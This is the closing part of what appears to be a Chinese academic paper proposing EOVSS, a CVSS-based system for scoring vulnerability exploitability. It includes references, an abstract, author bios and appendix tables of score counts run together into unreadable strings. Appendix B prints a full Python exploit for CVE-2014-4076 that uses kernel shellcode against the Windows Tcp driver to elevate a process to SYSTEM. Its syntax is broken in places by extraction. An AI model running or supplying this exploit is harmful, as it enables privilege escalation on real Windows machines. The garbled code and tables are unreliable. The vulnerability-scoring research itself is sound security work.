
[3] Wang Lingyu, Singhal A, Jajodia S. Measuring the overall security of network configurations using attack graphs[C] // Proc of the 11th Ifip Wg 11.3 Working Conf on Data and Applications Security. Berlin: Springer, 2007: 98-112

[4] Younis A, Malaiya Y K, Ray I. Assessing vulnerability exploitability risk using software properties[J]. Software Quality Journal, 2016, 24(1): 159-202

[5] Szwed P, Skrzyński P. A new lightweight method for security risk assessment based on fuzzy cognitive maps[J]. International Journal of Applied Mathematics & Computer Science, 2014, 24(1): 213-225

[6] Dawkins J, Hale J. A systematic approach to multi-stage network attack analysis[C] //Proc of the 4th Int Information Assurance Workshop. Piscataway, NJ: IEEE, 2004: 48-56

[7] Lai Y P, Hsia P L. Using the vulnerability information of computer systems to improve the network security[J].Computer Communications, 2007, 30(9): 2032-2047

[8] Zhang Fengli, Feng Bo. Vulnerability assessment based on correlation[J]. Application Research of Computers, 2014, 31(3): 811-814

[9] Frigault M. Measuring network security using bayesian network-based attack graphs[J]. Computer Software and Applications, 2010, 22(4): 698-703

[10] Lu Yuliang, Xia Yang. Reaserch on target-computer secure quantitative fusion model[J]. Chinese Journal of Computers, 2005, 28(5): 914-920 (in Chinese)

(陆余良, 夏阳. 主机安全量化融合模型研究[J]. 计算机学报, 2005, 28(5): 914-920)

[11] Wen Tao, Zhang Yuqing. ASVC: An automatic security vulnerability categorization framework based on novel features of vulnerability data[J].Journal of Communications, 2015, 76(8): 823-895

[12] Wen Tao, Zhang Yuqing, Dong Ying, et al. A novel automatic severity vulnerability assessment framework[J]. Journal of Communications, 2015, 10(5): 786-798

[13] Liu Qixu, Zhang Yuqing, Kong Ying, et al. Improving VRSS-based vulnerability prioritization using analytic hierarchy process [J]. Journal of Systems & Software, 2012, 85(8): 1699-1708

[14] Wang Ruyi, Gao Ling, Sun Qian, et al. An improved CVSS-based vulnerability scoring mechanism[C] //Proc of the 3rd Int Conf on Multimedia Information Networking and Security. Piscataway, NJ: IEEE, 2011: 352-355

[15] Zhang Yuqing, Fang Zhejun, Wang Kai, et al. Survey of Android vulnerability detection[J]. Journal of Computer Research and Development, 2015, 52(10): 2167-2177 (in Chinese)

(张玉清, 方喆君, 王凯, 等. Android安全漏洞挖掘技术综述[J]. 计算机研究与发展, 2015, 52(10): 2167-2177)

[16] Liu Qixu, Zhang Yuqing. VRSS: A new system for rating and scoring vulnerabilities[J]. Computer Communications, 2011, 34(3): 264-273

[17] Spanos G, Sioziou A, Angelis L. WIVSS: A new methodology for scoring information systems vulnerabilities[J]. Computer Communications, 2013, 34(5): 83-90

[18] Mell P, Scarfone K, Romanosky S. Common vulnerability scoring system[J]. IEEE Security & Privacy Magazine, 2006, 4(6): 85-89

[19] Scarfone K, Mell P. An analysis of CVSS version 2 vulnerability scoring[C] // Proc of the 3rd Int Symp on Empirical Software Engineering and Measurement. Piscataway, NJ: IEEE, 2009: 516-525

[20] CANs. Common vulnerabilities and exposures[EB/OL]. [2017-04-14]. http: //cve.mitre.org/index.html

[21] CANs. Common weakness enumeration[EB/OL].[2017-01-18]. http: //cwe.mitre.org

[22] Rasheed A R, Abdulla A, Zakariyya N I. Vulnerability of different types of fishers to potential implementation of a management plan in a marine protected area (MPA) in the Maldives[J]. Marine Policy, 2016, 74(2): 195-204

[23] Montaigne D, Coisne A, Sosner P, et al. Electrical atrial vulnerability and renal complications in type 2 diabetes[J]. Diabetologia, 2015, 59(4): 1-12

[24] Aonso J A, Lamata M T. Consistency in the analytic hierarchyprocess: A new approach[J]. International Journal of Uncertainty, Fuzziness and Knowlege-Based Systems, 2006, 14(4): 445-459

[25] Keramati M, Akbari A, Keramati M. CVSS-based security metrics for quantitative analysis of attack graphs[C] //Proc of the 2013 IEEE Int conf Computer and Knowledge Engineering. Piscataway, NJ: IEEE, 2013: 178-183

[26] Jiang Hui. The detection of global vulnerability based on attack path[D].Qingdao: Ocean University of China, 2015 (in Chinese)

(姜慧. 基于攻击路径的全局漏洞检测[D]. 青岛: 中国海洋大学, 2015)

[27] Miaoui Y, Boudriga N. Enterprise security investment through time when facing different types of vulnerabilities[J]. Information Systems Frontiers, 2017, 20(2): 11-24

A System for Scoring the Exploitability of Vulnerability Based Types

Lei Kenan 1,2 , Zhang Yuqing 1,2 , Wu Chensi 2 , and Ma Hua 3

1 ( State Key Laboratory of Integrated Services Networks ( Xidian University ), Xi an 710071) 2 ( National Computer Network Intrusion Protection Center ( University of Chinese Academy of Sciences ), Beijing 101408) 3 ( School of Mathematics and Statistics , Xidian University , Xi an 710071)

Abstract As is known to all, vulnerabilities play an extremely important role in network security now. Accurately quantizing the exploitability of a vulnerability is critical to the attack-graph based analysis of network information system security. Currently the most widely used assessment system for vulnerability exploitability is the common vulnerability scoring system (CVSS). Firstly, the exploitability scores of 54331 vulnerabilities are computed by using CVSS. Then, statistical analysis is performed on the computed exploitability scores, which indicates that CVSS lacks diversity, and more diverse results can help end-users prioritize vulnerabilities and fix those that pose the greatest risks at first. Statistical results show that the scores are too centralized as well. Finally, taking into account the disadvantages of CVSS, we study the influence factors of vulnerability exploitability, and demonstrate that the types of a vulnerability can influence its exploitability. Therefore, we consider vulnerability types as one of the influence factors of vulnerability exploitability, and use analytic hierarchy process to quantify it, and propose a more comprehensive quantitative evaluation system named exploitability of vulnerability scoring systems (EOVSS) based on CVSS. Experiments show that the diversity of scores computed by EOVSS is four times that computed by CVSS, and EOVSS can more accurately and effectively quantify the exploitability of a vulnerability in comparison with CVSS.

Key words vulnerability; exploitability; vulnerability type; analytic hierarchy process; quantification

中图法分类号 TP393

Lei Kenan , born in 1992. Master candidate in Xidian University. Her main research interests include network and information security.

Zhang Yuqing , born in 1966. PhD. Professor in the University of Chinese Academy of Sciences. His main research interests include network and information system security.

Wu Chensi , born in 1990. Master candidate in the University of Chinese Academy of Sciences. His main research interests include network and information security (wucs@nipc.org.cn).

Ma Hua , born in 1963. Professor in Xidian University. Her main research interests include information security (ma_hua@126.com).

附录A

Table A1 Distribution of CVSS Exploitability Scores

表A1 CVSS漏洞分布表

ScoresNumberScoresNumber1.284.191.5474.4531.92854.911182.015.1512.2175.513932.5346.45462.71186.52823.12516.816753.2958.026703.417338.6195973.5110.0206653.93682

Table A2 Distribution of EOVSS Exploitability Scores

表A2 EOVSS漏洞分布表

ScoresNumberScoresNumber1.474.9651.545.0321.635.19391.81305.2361.9445.342.0215.42992.195.6172.285.832.345.91602.4386.01652.5356.112.6216.22392.766.32652.8846.49132.91086.6723.0656.81983.16847.14573.22917.25683.32337.35643.5297.44373.610617.62023.78217.71213.810157.827503.9117.958364.0668.068534.15328.29814.2108.735274.319.01459

Continued ( Table A2 )

ScoresNumberScoresNumber4.4249.153364.52199.233594.611749.344.72039.416304.81510.08877

附录B

部分攻击代码

#!/usr/bin/python2

from optparse import OptionParser

from subprocess import Popen

from os.path import exists

from struct import pack

from threading import Thread

from time import sleep

from ctypes import*

from sys import exit

CreateFileA,NtAllocateVirtualMemory,Write ProcessMemory=windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory

DeviceIoControlFile,CloseHandle=windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle

INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL=1,2,1,3,0

def spawn_process(path):

process=Popen([path],shell=True)

pid=process.pid

return

def main():

print "CVE-2014-4076 x86 exploit,Level\n"

global pid,process

parser=OptionParser()

parser.add_option("--path",dest="path",help="path of process to start and elevate")

parser.add_option("--pid",dest="pid",help="pid of running process to elevate")

o,a=parser.parse_args()

if (o.path==None and o.pid==None)

print "[!] no path or pid set"

exit(1)

else

if (o.path!=None)

if (exists(o.path)!=True)

print "[!] path does not exist"

exit(1)

else

Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start()

if (o.pid!=None)

try

pid=int(o.pid)

except:

print "[!] could not convert PID to an interger."

exit(1)

while True:

if ("pid" not in globals()):

sleep(1)

else

print "[+] caught attacker cmd at %s,elevating now" % (pid)

break

buf="\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"

sc="\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"

sc=sc.replace("\x41\x41\x41\x41",pack('<L',pid))

sc=sc.replace("\x11\x11\x11\x11","\x39\xff\xa2\xba")

sc=sc.replace("\x22\x22\x22\x22","\x00\x00\x00\x00")

handle=CreateFileA("\\\\.\\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)

if (handle==-1):

print "[!] could not open handle into the Tcp device"

exit(1)

print "[+] allocating memory"

ret_one=NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40)

if (ret_one!=0):

print "[!] could not allocate memory..."

exit(1)

print "[+] writing relevant memory..."

ret_two=WriteProcessMemory(-1,0x28,

"\x87\xff\xff\x38",4,byref(c_int(0)))

ret_three=WriteProcessMemory(-1,

0x38,"\x00" * 2,2,byref(c_int(0)))

ret_four=WriteProcessMemory(-1,

0x1100,buf,len(buf),byref(c_int(0)))

ret_five=WriteProcessMemory(-1,

0x2b,"\x00" * 2,2,byref(c_int(0)))

ret_six=WriteProcessMemory(-1,

0x2000,sc,len(sc),byref(c_int(0)))

print "[+] attack setup done,crane kick!"

DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0)

CloseHandle(handle)

exit(0)

if __name__=="__main__":

main()